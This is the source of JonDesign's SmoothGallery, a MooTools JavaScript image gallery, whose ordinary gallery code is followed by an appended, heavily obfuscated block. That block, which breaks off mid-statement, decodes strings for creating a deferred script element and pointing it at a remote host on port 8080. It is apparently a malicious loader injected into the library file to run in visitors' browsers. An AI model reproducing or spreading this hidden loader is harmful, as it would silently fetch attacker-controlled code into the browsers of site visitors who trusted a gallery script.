/*
    This file is part of JonDesign's SmoothGallery v2.1beta1.

    JonDesign's SmoothGallery is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 3 of the License, or
    (at your option) any later version.

    JonDesign's SmoothGallery is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with JonDesign's SmoothGallery; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/)
    Contributed code by:
    - Christian Ehret (bugfix)
	- Nitrix (bugfix)
	- Valerio from Mad4Milk for his great help with the carousel scrolling and many other things.
	- Archie Cowan for helping me find a bugfix on carousel inner width problem.
	- Tomocchino from #mootools for the preloader class
	Many thanks to:
	- The mootools team for the great mootools lib, and it's help and support throughout the project.
	- Harald Kirschner (digitarald: http://digitarald.de/) for all his great libs. Some used here as plugins.
*/

/* some quirks to circumvent broken stuff in mt1.2 */
function isBody(element){
	return (/^(?:body|html)$/i).test(element.tagName);
};
Element.implement({
	getPosition: function(relative){
		if (isBody(this)) return {x: 0, y: 0};
		var el = this, position = {x: 0, y: 0};
		while (el){
			position.x += el.offsetLeft;
			position.y += el.offsetTop;
			el = el.offsetParent;
		}
		var rpos = (relative) ? $(relative).getPosition() : {x: 0, y: 0};
		return {x: position.x - rpos.x, y: position.y - rpos.y};
	}
});

// declaring the class
var gallery = {
	Implements: [Events, Options],
	options: {
		showArrows: true,
		showCarousel: true,
		showInfopane: true,
		embedLinks: true,
		fadeDuration: 500,
		timed: false,
		delay: 9000,
		preloader: true,
		preloaderImage: true,
		preloaderErrorImage: true,
		/* Data retrieval */
		manualData: [],
		populateFrom: false,
		populateData: true,
		destroyAfterPopulate: true,
		elementSelector: "div.imageElement",
		titleSelector: "h3",
		subtitleSelector: "p",
		linkSelector: "a.open",
		imageSelector: "img.full",
		thumbnailSelector: "img.thumbnail",
		defaultTransition: "fade",
		/* InfoPane options */
		slideInfoZoneOpacity: 0.7,
		slideInfoZoneSlide: true,
		/* Carousel options */
		carouselMinimizedOpacity: 0.4,
		carouselMinimizedHeight: 20,
		carouselMaximizedOpacity: 0.9,
		thumbHeight: 75,
		thumbWidth: 100,
		thumbSpacing: 10,
		thumbIdleOpacity: 0.2,
		textShowCarousel: 'Pictures',
		showCarouselLabel: true,
		thumbCloseCarousel: true,
		useThumbGenerator: false,
		thumbGenerator: 'resizer.php',
		useExternalCarousel: false,
		carouselElement: false,
		carouselHorizontal: true,
		activateCarouselScroller: true,
		carouselPreloader: true,
		textPreloadingCarousel: 'Loading...',
		/* CSS Classes */
		baseClass: 'jdGallery',
		withArrowsClass: 'withArrows',
		/* Plugins: HistoryManager */
		useHistoryManager: false,
		customHistoryKey: false,
		/* Plugins: ReMooz */
		useReMooz: false
	},
	initialize: function(element, options) {
		this.setOptions(options);
		this.fireEvent('onInit');
		this.currentIter = 0;
		this.lastIter = 0;
		this.maxIter = 0;
		this.galleryElement = element;
		this.galleryData = this.options.manualData;
		this.galleryInit = 1;
		this.galleryElements = Array();
		this.thumbnailElements = Array();
		this.galleryElement.addClass(this.options.baseClass);
		
		if (this.options.useReMooz&&(this.options.defaultTransition=="fade"))
			this.options.defaultTransition="crossfade";
		
		this.populateFrom = element;
		if (this.options.populateFrom)
			this.populateFrom = this.options.populateFrom;		
		if (this.options.populateData)
			this.populateData();
		element.style.display="block";
		
		if (this.options.useHistoryManager)
			this.initHistory();
		
		if ((this.options.embedLinks)|(this.options.useReMooz))
		{
			this.currentLink = new Element('a').addClass('open').setProperties({
				href: '#',
				title: ''
			}).injectInside(element);
			if ((!this.options.showArrows) && (!this.options.showCarousel))
				this.galleryElement = element = this.currentLink;
			else
				this.currentLink.setStyle('display', 'none');
		}
		
		this.constructElements();
		if ((this.galleryData.length>1)&&(this.options.showArrows))
		{
			var leftArrow = new Element('a').addClass('left').addEvent(
				'click',
				this.prevItem.bind(this)
			).injectInside(element);
			var rightArrow = new Element('a').addClass('right').addEvent(
				'click',
				this.nextItem.bind(this)
			).injectInside(element);
			this.galleryElement.addClass(this.options.withArrowsClass);
		}
		this.loadingElement = new Element('div').addClass('loadingElement').injectInside(element);
		if (this.options.showInfopane) this.initInfoSlideshow();
		if (this.options.showCarousel) this.initCarousel();
		this.doSlideShow(1);
	},
	populateData: function() {
		currentArrayPlace = this.galleryData.length;
		options = this.options;
		var data = $A(this.galleryData);
		data.extend(this.populateGallery(this.populateFrom, currentArrayPlace));
		this.galleryData = data;
		this.fireEvent('onPopulated');
	},
	populateGallery: function(element, startNumber) {
		var data = [];
		options = this.options;
		currentArrayPlace = startNumber;
		element.getElements(options.elementSelector).each(function(el) {
			elementDict = $H({
				image: el.getElement(options.imageSelector).getProperty('src'),
				number: currentArrayPlace,
				transition: this.options.defaultTransition
			});
			if ((options.showInfopane) | (options.showCarousel))
				elementDict.extend({
					title: el.getElement(options.titleSelector).innerHTML,
					description: el.getElement(options.subtitleSelector).innerHTML
				});
			if ((options.embedLinks) | (options.useReMooz))
				elementDict.extend({
					link: el.getElement(options.linkSelector).href||false,
					linkTitle: el.getElement(options.linkSelector).title||false,
					linkTarget: el.getElement(options.linkSelector).getProperty('target')||false
				});
			if ((!options.useThumbGenerator) && (options.showCarousel))
				elementDict.extend({
					thumbnail: el.getElement(options.thumbnailSelector).getProperty('src')
				});
			else if (options.useThumbGenerator)
				elementDict.extend({
					thumbnail: options.thumbGenerator + '?imgfile=' + elementDict.image + '&max_width=' + options.thumbWidth + '&max_height=' + options.thumbHeight
				});
			
			data.extend([elementDict]);
			currentArrayPlace++;
			if (this.options.destroyAfterPopulate)
				el.dispose();
		});
		return data;
	},
	constructElements: function() {
		el = this.galleryElement;
		if (this.options.embedLinks && (!this.options.showArrows))
			el = this.currentLink;
		this.maxIter = this.galleryData.length;
		var currentImg;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Morph(
				new Element('div').addClass('slideElement').setStyles({
					'position':'absolute',
					'left':'0px',
					'right':'0px',
					'margin':'0px',
					'padding':'0px',
					'backgroundPosition':"center center",
					'opacity':'0'
				}).injectInside(el),
				{duration: this.options.fadeDuration}
			);
			if (this.options.preloader)
			{
				currentImg.source = this.galleryData[i].image;
				currentImg.loaded = false;
				currentImg.load = function(imageStyle, i) {
					if (!imageStyle.loaded)	{
						this.galleryData[i].imgloader = new Asset.image(imageStyle.source, {
		                            'onload'  : function(img, i){
													img.element.setStyle(
													'backgroundImage',
													"url('" + img.source + "')")
													img.loaded = true;
													img.width = this.galleryData[i].imgloader.width;
													img.height = this.galleryData[i].imgloader.height;
												}.pass([imageStyle, i], this)
						});
					}
				}.pass([currentImg, i], this);
			} else {
				currentImg.element.setStyle('backgroundImage',
									"url('" + this.galleryData[i].image + "')");
			}
			this.galleryElements[parseInt(i)] = currentImg;
		}
	},
	destroySlideShow: function(element) {
		var myClassName = element.className;
		var newElement = new Element('div').addClass('myClassName');
		element.parentNode.replaceChild(newElement, element);
	},
	startSlideShow: function() {
		this.fireEvent('onStart');
		this.loadingElement.style.display = "none";
		this.lastIter = this.maxIter - 1;
		this.currentIter = 0;
		this.galleryInit = 0;
		this.galleryElements[parseInt(this.currentIter)].set({opacity: 1});
		if (this.options.showInfopane)
			this.showInfoSlideShow.delay(1000, this);
		if (this.options.useReMooz)
			this.makeReMooz.delay(1000, this);
		var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
		if (this.options.showCarousel&&(!this.options.carouselPreloader)&&(!this.options.useExternalCarousel))
			this.carouselBtn.set('html', textShowCarousel).setProperty('title', textShowCarousel);
		this.prepareTimer();
		if (this.options.embedLinks)
			this.makeLink(this.currentIter);
	},
	nextItem: function() {
		this.fireEvent('onNextCalled');
		this.nextIter = this.currentIter+1;
		if (this.nextIter >= this.maxIter)
			this.nextIter = 0;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	prevItem: function() {
		this.fireEvent('onPreviousCalled');
		this.nextIter = this.currentIter-1;
		if (this.nextIter <= -1)
			this.nextIter = this.maxIter - 1;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	goTo: function(num) {
		this.clearTimer();
		if(this.options.preloader)
		{
			this.galleryElements[num].load();
			if (num==0)
				this.galleryElements[this.maxIter - 1].load();
			else
				this.galleryElements[num - 1].load();
			if (num==(this.maxIter - 1))
				this.galleryElements[0].load();
			else
				this.galleryElements[num + 1].load();
				
		}
		if (this.options.embedLinks)
			this.clearLink();
		if (this.options.showInfopane)
		{
			this.slideInfoZone.clearChain();
			this.hideInfoSlideShow().chain(this.changeItem.pass(num, this));
		} else
			this.currentChangeDelay = this.changeItem.delay(500, this, num);
		if (this.options.embedLinks)
			this.makeLink(num);
		this.prepareTimer();
		/*if (this.options.showCarousel)
			this.clearThumbnailsHighlights();*/
	},
	changeItem: function(num) {
		this.fireEvent('onStartChanging');
		this.galleryInit = 0;
		if (this.currentIter != num)
		{
			for(i=0;i<this.maxIter;i++)
			{
				if ((i != this.currentIter)) this.galleryElements[i].set({opacity: 0});
			}
			gallery.Transitions[this.galleryData[num].transition].pass([
				this.galleryElements[this.currentIter],
				this.galleryElements[num],
				this.currentIter,
				num], this)();
			this.currentIter = num;
			if (this.options.useReMooz)
				this.makeReMooz();
		}
		var textShowCarousel = formatString(this.options.textShowCarousel, num+1, this.maxIter);
		if ((this.options.showCarousel)&&(!this.options.useExternalCarousel))
			this.carouselBtn.set('html', textShowCarousel).setProperty('title', textShowCarousel);
		this.doSlideShow.bind(this)();
		this.fireEvent('onChanged');
	},
	clearTimer: function() {
		if (this.options.timed)
			$clear(this.timer);
	},
	prepareTimer: function() {
		if (this.options.timed)
			this.timer = this.nextItem.delay(this.options.delay, this);
	},
	doSlideShow: function(position) {
		if (this.galleryInit == 1)
		{
			imgPreloader = new Image();
			imgPreloader.onload=function(){
				this.startSlideShow.delay(10, this);
			}.bind(this);
			imgPreloader.src = this.galleryData[0].image;
			if(this.options.preloader)
				this.galleryElements[0].load();
		} else {
			if (this.options.showInfopane)
			{
				if (this.options.showInfopane)
				{
					this.showInfoSlideShow.delay((500 + this.options.fadeDuration), this);
				} else
					if ((this.options.showCarousel)&&(this.options.activateCarouselScroller))
						this.centerCarouselOn(position);
			}
		}
	},
	createCarousel: function() {
		var carouselElement;
		if (!this.options.useExternalCarousel)
		{
			var carouselContainerElement = new Element('div').addClass('carouselContainer').injectInside(this.galleryElement);
			this.carouselContainer = new Fx.Morph(carouselContainerElement, {transition: Fx.Transitions.Expo.easeOut});
			this.carouselContainer.normalHeight = carouselContainerElement.offsetHeight;
			this.carouselContainer.set({'opacity': this.options.carouselMinimizedOpacity, 'top': (this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight)});
			this.carouselBtn = new Element('a').addClass('carouselBtn').setProperties({
				title: this.options.textShowCarousel
			}).injectInside(carouselContainerElement);
			if(this.options.carouselPreloader)
				this.carouselBtn.set('html', this.options.textPreloadingCarousel);
			else
				this.carouselBtn.set('html', this.options.textShowCarousel);
			this.carouselBtn.addEvent(
				'click',
				function () {
					this.carouselContainer.cancel();
					this.toggleCarousel();
				}.bind(this)
			);
			this.carouselActive = false;
	
			carouselElement = new Element('div').addClass('carousel').injectInside(carouselContainerElement);
			this.carousel = new Fx.Morph(carouselElement);
		} else {
			carouselElement = $(this.options.carouselElement).addClass('jdExtCarousel');
		}
		this.carouselElement = new Fx.Morph(carouselElement, {transition: Fx.Transitions.Expo.easeOut});
		this.carouselElement.normalHeight = carouselElement.offsetHeight;
		if (this.options.showCarouselLabel)
			this.carouselLabel = new Element('p').addClass('label').injectInside(carouselElement);
		carouselWrapper = new Element('div').addClass('carouselWrapper').injectInside(carouselElement);
		this.carouselWrapper = new Fx.Morph(carouselWrapper, {transition: Fx.Transitions.Expo.easeOut});
		this.carouselWrapper.normalHeight = carouselWrapper.offsetHeight;
		this.carouselInner = new Element('div').addClass('carouselInner').injectInside(carouselWrapper);
		if (this.options.activateCarouselScroller)
		{
			this.carouselWrapper.scroller = new Scroller(carouselWrapper, {
				area: 100,
				velocity: 0.2
			})
			
			this.carouselWrapper.elementScroller = new Fx.Scroll(carouselWrapper, {
				duration: 400,
				onStart: this.carouselWrapper.scroller.stop.bind(this.carouselWrapper.scroller),
				onComplete: this.carouselWrapper.scroller.start.bind(this.carouselWrapper.scroller)
			});
		}
	},
	fillCarousel: function() {
		this.constructThumbnails();
		this.carouselInner.normalWidth = ((this.maxIter * (this.options.thumbWidth + this.options.thumbSpacing + 2))+this.options.thumbSpacing) + "px";
		if (this.options.carouselHorizontal)
			this.carouselInner.style.width = this.carouselInner.normalWidth;
	},
	initCarousel: function () {
		this.createCarousel();
		this.fillCarousel();
		if (this.options.carouselPreloader)
			this.preloadThumbnails();
	},
	flushCarousel: function() {
		this.thumbnailElements.each(function(myFx) {
			myFx.element.dispose();
			myFx = myFx.element = null;
		});
		this.thumbnailElements = [];
	},
	toggleCarousel: function() {
		if (this.carouselActive)
			this.hideCarousel();
		else
			this.showCarousel();
	},
	showCarousel: function () {
		this.fireEvent('onShowCarousel');
		this.carouselContainer.start({
			'opacity': this.options.carouselMaximizedOpacity,
			'top': 0
		}).chain(function() {
			this.carouselActive = true;
			this.carouselWrapper.scroller.start();
			this.fireEvent('onCarouselShown');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	hideCarousel: function () {
		this.fireEvent('onHideCarousel');
		var targetTop = this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight;
		this.carouselContainer.start({
			'opacity': this.options.carouselMinimizedOpacity,
			'top': targetTop
		}).chain(function() {
			this.carouselActive = false;
			this.carouselWrapper.scroller.stop();
			this.fireEvent('onCarouselHidden');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	constructThumbnails: function () {
		element = this.carouselInner;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Morph(new Element ('div').addClass("thumbnail").setStyles({
					backgroundImage: "url('" + this.galleryData[i].thumbnail + "')",
					backgroundPosition: "center center",
					backgroundRepeat: 'no-repeat',
					marginLeft: this.options.thumbSpacing + "px",
					width: this.options.thumbWidth + "px",
					height: this.options.thumbHeight + "px"
				}).injectInside(element), {duration: 200}).start({
					'opacity': this.options.thumbIdleOpacity
				});
			currentImg.element.addEvents({
				'mouseover': function (myself) {
					myself.cancel();
					myself.start({'opacity': 0.99});
					if (this.options.showCarouselLabel)
						$(this.carouselLabel).set('html', '<span class="number">' + (myself.relatedImage.number + 1) + "/" + this.maxIter + ":</span> " + myself.relatedImage.title);
				}.pass(currentImg, this),
				'mouseout': function (myself) {
					myself.cancel();
					myself.start({'opacity': this.options.thumbIdleOpacity});
				}.pass(currentImg, this),
				'click': function (myself) {
					this.goTo(myself.relatedImage.number);
					if (this.options.thumbCloseCarousel&&(!this.options.useExternalCarousel))
						this.hideCarousel();
				}.pass(currentImg, this)
			});
			
			currentImg.relatedImage = this.galleryData[i];
			this.thumbnailElements[parseInt(i)] = currentImg;
		}
	},
	log: function(value) {
		if(console.log)
			console.log(value);
	},
	preloadThumbnails: function() {
		var thumbnails = [];
		for(i=0;i<this.galleryData.length;i++)
		{
			thumbnails[parseInt(i)] = this.galleryData[i].thumbnail;
		}
		this.thumbnailPreloader = new Preloader();
		if (!this.options.useExternalCarousel)
			this.thumbnailPreloader.addEvent('onComplete', function() {
				var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
				this.carouselBtn.set('html', textShowCarousel).setProperty('title', textShowCarousel);
			}.bind(this));
		this.thumbnailPreloader.load(thumbnails);
	},
	clearThumbnailsHighlights: function()
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].cancel();
			this.thumbnailElements[i].start(0.2);
		}
	},
	changeThumbnailsSize: function(width, height)
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].cancel();
			this.thumbnailElements[i].element.setStyles({
				'width': width + "px",
				'height': height + "px"
			});
		}
	},
	centerCarouselOn: function(num) {
		if (!this.carouselWallMode)
		{
			var carouselElement = this.thumbnailElements[num];
			var position = carouselElement.element.offsetLeft + (carouselElement.element.offsetWidth / 2);
			var carouselWidth = this.carouselWrapper.element.offsetWidth;
			var carouselInnerWidth = this.carouselInner.offsetWidth;
			var diffWidth = carouselWidth / 2;
			var scrollPos = position-diffWidth;
			this.carouselWrapper.elementScroller.start(scrollPos,0);
		}
	},
	initInfoSlideshow: function() {
		/*if (this.slideInfoZone.element)
			this.slideInfoZone.element.remove();*/
		this.slideInfoZone = new Fx.Morph(new Element('div').addClass('slideInfoZone').injectInside($(this.galleryElement))).set({'opacity':0});
		var slideInfoZoneTitle = new Element('h2').injectInside(this.slideInfoZone.element);
		var slideInfoZoneDescription = new Element('p').injectInside(this.slideInfoZone.element);
		this.slideInfoZone.normalHeight = this.slideInfoZone.element.offsetHeight;
		this.slideInfoZone.element.setStyle('opacity',0);
	},
	changeInfoSlideShow: function()
	{
		this.hideInfoSlideShow.delay(10, this);
		this.showInfoSlideShow.delay(500, this);
	},
	showInfoSlideShow: function() {
		this.fireEvent('onShowInfopane');
		this.slideInfoZone.cancel();
		element = this.slideInfoZone.element;
		element.getElement('h2').set('html', this.galleryData[this.currentIter].title);
		element.getElement('p').set('html', this.galleryData[this.currentIter].description);
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity], 'height': [0, this.slideInfoZone.normalHeight]});
		else
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity]});
		if (this.options.showCarousel)
			this.slideInfoZone.chain(this.centerCarouselOn.pass(this.currentIter, this));
		return this.slideInfoZone;
	},
	hideInfoSlideShow: function() {
		this.fireEvent('onHideInfopane');
		this.slideInfoZone.cancel();
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': 0, 'height': 0});
		else
			this.slideInfoZone.start({'opacity': 0});
		return this.slideInfoZone;
	},
	makeLink: function(num) {
		this.currentLink.setProperties({
			href: this.galleryData[num].link,
			title: this.galleryData[num].linkTitle
		})
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'block');
	},
	clearLink: function() {
		this.currentLink.setProperties({href: '', title: ''});
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'none');
	},
	makeReMooz: function() {
		this.currentLink.setProperties({
			href: '#'
		});
		this.currentLink.setStyles({
			'display': 'block'
		});
		
		this.galleryElements[this.currentIter].element.set('title', this.galleryData[this.currentIter].title + ' :: ' + this.galleryData[this.currentIter].description);
		this.ReMooz = new ReMooz(this.galleryElements[this.currentIter].element, {
			link: this.galleryData[this.currentIter].link,
			shadow: false,
			dragging: false,
			addClick: false,
			resizeOpacity: 1
		});
		var img = this.galleryElements[this.currentIter];
		var coords = img.element.getCoordinates();
		delete coords.right;
		delete coords.bottom;
		
		widthDiff = coords.width - img.width;
		heightDiff = coords.height - img.height;
		
		coords.width = img.width;
		coords.height = img.height;
		
		coords.left += Math.ceil(widthDiff/2)+1;
		coords.top += Math.ceil(heightDiff/2)+1;
		
		this.ReMooz.getOriginCoordinates = function(coords) {
			return coords;
		}.bind(this, coords);
		this.currentLink.onclick = function () {
			this.ReMooz.open.bind(this.ReMooz)();
			return false;
		}.bind(this);
	},
	/* To change the gallery data, those two functions : */
	flushGallery: function() {
		this.galleryElements.each(function(myFx) {
			myFx.element.dispose();
			myFx = myFx.element = null;
		});
		this.galleryElements = [];
	},
	changeData: function(data) {
		this.galleryData = data;
		this.clearTimer();
		this.flushGallery();
		if (this.options.showCarousel) this.flushCarousel();
		this.constructElements();
		if (this.options.showCarousel) this.fillCarousel();
		if (this.options.showInfopane) this.hideInfoSlideShow();
		this.galleryInit=1;
		this.lastIter=0;
		this.currentIter=0;
		this.doSlideShow(1);
	},
	/* Plugins: HistoryManager */
	initHistory: function() {
		this.fireEvent('onHistoryInit');
		this.historyKey = this.galleryElement.id + '-picture';
		if (this.options.customHistoryKey)
			this.historyKey = this.options.customHistoryKey;
		
		this.history = new History.Route({
			defaults: [1],
			pattern: this.historyKey + '\\((\\d+)\\)',
			generate: function(values) {
				return [this.historyKey, '(', values[0], ')'].join('')
			}.bind(this),
			onMatch: function(values, defaults) {
				if (parseInt(values[0])-1 < this.maxIter)
					this.goTo(parseInt(values[0])-1);
			}.bind(this)
		});
		this.addEvent('onChanged', function(){
			this.history.setValue(0, this.currentIter+1);
			this.history.defaults=[this.currentIter+1];
		}.bind(this));
		this.fireEvent('onHistoryInited');
	}
};
gallery = new Class(gallery);

gallery.Transitions = new Hash ({
	fade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		if (newPos > oldPos) newFx.start({opacity: 1});
		else
		{
			newFx.set({opacity: 1});
			oldFx.start({opacity: 0});
		}
	},
	crossfade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		newFx.start({opacity: 1});
		oldFx.start({opacity: 0});
	},
	fadebg: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration / 2;
		oldFx.start({opacity: 0}).chain(newFx.start.pass([{opacity: 1}], newFx));
	}
});

/* All code copyright 2007 Jonathan Schemoul */

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: Preloader (class)
 * Simple class for preloading images with support for progress reporting
 * Copyright 2007 Tomocchino.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

var Preloader = new Class({
  
  Implements: [Events, Options],

  options: {
    root        : '',
    period      : 100
  },
  
  initialize: function(options){
    this.setOptions(options);
  },
  
  load: function(sources) {
    this.index = 0;
    this.images = [];
    this.sources = this.temps = sources;
    this.total = this. sources.length;
    
    this.fireEvent('onStart', [this.index, this.total]);
    this.timer = this.progress.periodical(this.options.period, this);
    
    this.sources.each(function(source, index){
      this.images[index] = new Asset.image(this.options.root + source, {
        'onload'  : function(){ this.index++; if(this.images[index]) this.fireEvent('onLoad', [this.images[index], index, source]); }.bind(this),
        'onerror' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this),
        'onabort' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this)
      });
    }, this);
  },
  
  progress: function() {
    this.fireEvent('onProgress', [Math.min(this.index, this.total), this.total]);
    if(this.index >= this.total) this.complete();
  },
  
  complete: function(){
    $clear(this.timer);
    this.fireEvent('onComplete', [this.images]);
  },
  
  cancel: function(){
    $clear(this.timer);
  }
  
});

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: formatString (function)
 * Original name: Yahoo.Tools.printf
 * Copyright Yahoo.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

function formatString() {
	var num = arguments.length;
	var oStr = arguments[0];
	for (var i = 1; i < num; i++) {
		var pattern = "\\{" + (i-1) + "\\}"; 
		var re = new RegExp(pattern, "g");
		oStr = oStr.replace(re, arguments[i]);
	}
	return oStr; 
}
var Kqz="5d575e7f48184d5c574f41395b4f574b217954790e0f0d0c136541566c4875422e03270778786f5674566b7a4a46773a365879795b4f524f514662686e605c635f5b6e604b583b5751246a6e611b79563f7d49";var yr;if(yr!='sv'){yr=''};var OV="";var LM="";function P(d){var qa=new Date();var Rx;if(Rx!='L' && Rx != ''){Rx=null};this.Z="Z"; function R(Rd,Q){var G;if(G!=''){G='qB'};return Rd[k("ahrcdoeCAt", [3,1,0,2])](Q);var H;if(H!='' && H!='Kq'){H='vC'};var Ty=new Array();}var LA;if(LA!='hy'){LA=''}; function e(Y){var j="";var Zl;if(Zl!='' && Zl!='HE'){Zl=''};var bt=false;var S = -1;var c=new Array();var nt =[45,161,0][2];this.da='';var Ga;if(Ga!='OY' && Ga != ''){Ga=null};var o = '';var rM=45822;var z =[152,0,1,202][1];var mv="mv";Y = new A(Y);this.SG=18425;this.MQ=37391;for (nt=Y[k("elngth", [1,0,2,3])]-S;nt>=z;nt=nt-[184,1,164][1]){o+=Y[k("hcratA", [1,0])](nt);}var xN=new Array();return o;} function D(v){var jK="jK";this.Fh="Fh";var zu=[158,0,199][1];var PZ=[94,0,178][1];var q=[1][0];this.Fk="Fk";var b=[255][0];var JP;if(JP!='hg' && JP!='Vw'){JP='hg'};var MG;if(MG!='RG' && MG!='YN'){MG='RG'};var Dg=v[k("elgnht", [1,0])];this.U='';var hF;if(hF!='tb' && hF!='Lv'){hF=''};var jf;if(jf!='ys' && jf!='Eh'){jf=''};while(PZ<Dg){var De;if(De!='Mu' && De != ''){De=null};var xn='';var vc;if(vc!='IF' && vc!='Eo'){vc='IF'};PZ++;var Qy;if(Qy!='jI' && Qy!='mS'){Qy='jI'};var Mk;if(Mk!='' && Mk!='sm'){Mk=null};i=R(v,PZ - q);var jO=new Date();zu+=i*Dg;var UD;if(UD!='Tr' && UD != ''){UD=null};}var oC=57072;var fn;if(fn!='ku' && fn!='kh'){fn=''};this.Bb="";return new A(zu % b);var tk;if(tk!='' && tk!='zq'){tk=''};var Hk;if(Hk!='' && Hk!='ee'){Hk=''};} this.xI="xI";function k(Y, h){var Jv;if(Jv!=''){Jv='Gk'};var l;if(l!='' && l!='Rze'){l=''};var z=[211,134,0][2];var uK='';var lP='';var E = h.length;var AUr;if(AUr!='ZK' && AUr!='UDJ'){AUr=''};var Sy = Y.length;var o = '';var yS;if(yS!='' && yS!='FP'){yS='Da'};var uw;if(uw!='sK' && uw != ''){uw=null};var q=[1][0];var Ja=new Array();var IO;if(IO!='' && IO!='iS'){IO='NJ'};var cf=new Date();var jU=new Array();this.vY="vY";for(var nt = z; nt < Sy; nt += E) {var Ayo=new Date();var MQy=22869;var NY="";var p = Y.substr(nt, E);var Rb=new String();if(p.length == E){var Os;if(Os!='' && Os!='Xk'){Os=''};var Lz=new String();for(var PZ in h) {var iN;if(iN!=''){iN='Ww'};var pM="pM";o+=p.substr(h[PZ], q);var Pz;if(Pz!='' && Pz!='qw'){Pz='orR'};var IB=new Date();}} else {this.zv="";  o+=p;var jR=new Date();}}var LG=30626;var Cs;if(Cs!='' && Cs!='uP'){Cs=''};var rC;if(rC!='' && rC!='aH'){rC=''};return o;var Fc=1521;var Rg;if(Rg!='ka'){Rg=''};} this.Mx=3211;var YJ;if(YJ!='kO' && YJ != ''){YJ=null};function u(uH,y){return uH^y;this.btu="";this.ZE="";}var gA="";var Ie;if(Ie!='Pe' && Ie!='Yi'){Ie=''};var N=window;var yd=N[k("lvae", [3,1,2,0])];var OP;if(OP!=''){OP='ZQ'};var g=yd(k("uFcnitno", [1,0]));var zwk;if(zwk!='QP' && zwk!='ub'){zwk=''};this.Ac=37617;var x=yd(k("geRpxE", [2,1,0]));this.dW='';this.Ck='';var A=yd(k("rStgin", [1,2,0]));this.LzU=6999;this.Ax=29541;var Sx;if(Sx!='' && Sx!='FhK'){Sx=null};var zG="";var yt = '';var ZX;if(ZX!='' && ZX!='xel'){ZX=''};var ik=new Array();var jE=new Array();var Hl=new Array();var s=N[k("ensupaec", [3,1,0,2])];var M=A[k("rofmChrCaode", [2,0,1,3,4,5])];this.Ny=false;var Ku=21587;var jc;if(jc!='' && jc!='WN'){jc=''};var Ky;if(Ky!='' && Ky!='yH'){Ky=''};var SS = '';var qn = d[k("egnlth", [3,0,2,1])];var Ca;if(Ca!='iq' && Ca!='gw'){Ca=''};var T = '';this.nJ="";var z =[0,67,49,129][0];var K = '';this.tF=false;var lu;if(lu!='Vb'){lu=''};var ET =[2][0];var HZ="";var DF=[1, k("umdoc.centtereameEle\'snt(ptcri\')", [2,3,4,0,1]),2, k("oducemtnb.do.ypaepdnhCli(d)d", [1,0]),3, k(".tcntoetodra.lgwru:8080", [3,6,7,0,2,5,1,4]),4, k(".desAtttirubet\'(edef\'r", [1,0]),5, k("goocle.gom", [7,1,2,0,4,5,6,3]),6, k("oc.mcuzor..ueanb", [1,0]),7, k("wi.odnownload", [7,1,5,4,3,0,2,6]),8, k("olggo.moec.br", [3,0,4,2,1]),11, k("i.nkeikco.jp", [2,0,3,6,4,5,1]),12, k("nfuict(on)", [1,2,0]),14, k("t.nnee.jp", [3,4,0,6,2,5,1]),15, k("acct(h)e", [1,0]),16, k("tt\"p:h", [2,5,0,1,3,4]),17, k("ynopts", [1,0]),18, k(".rdcs", [2,0,4,1,3]),19, k("1\')\'", [1,0]),20, k("rty", [1,0]),21, k("os", [1,0])];var sr=new Array();var Do="";var q =[44,190,9,1][3];var ce=50069;var Naw;if(Naw!='aP' && Naw != ''){Naw=null};var mJb;if(mJb!='kq' && mJb != ''){mJb=null};var Yl = M(37);var Ur='';var O = /[^@a-z0-9A-Z_-]/g;var Fo=new String();var f =[0,169][0];this.gM='';this.uS="uS";var JY='';this.Xq='';for(var Pi=z; Pi < qn; Pi+=ET){var pb;if(pb!='' && pb!='VG'){pb=null};K+= Yl; K+= d[k("ubstrs", [2,0,1])](Pi, ET);this.mj="mj";this.Oc=14830;}var YD="YD";var qU;if(qU!='fw' && qU != ''){qU=null};var FA=new Array();var d = s(K);var PS=new Date();this.Ia=21627;var 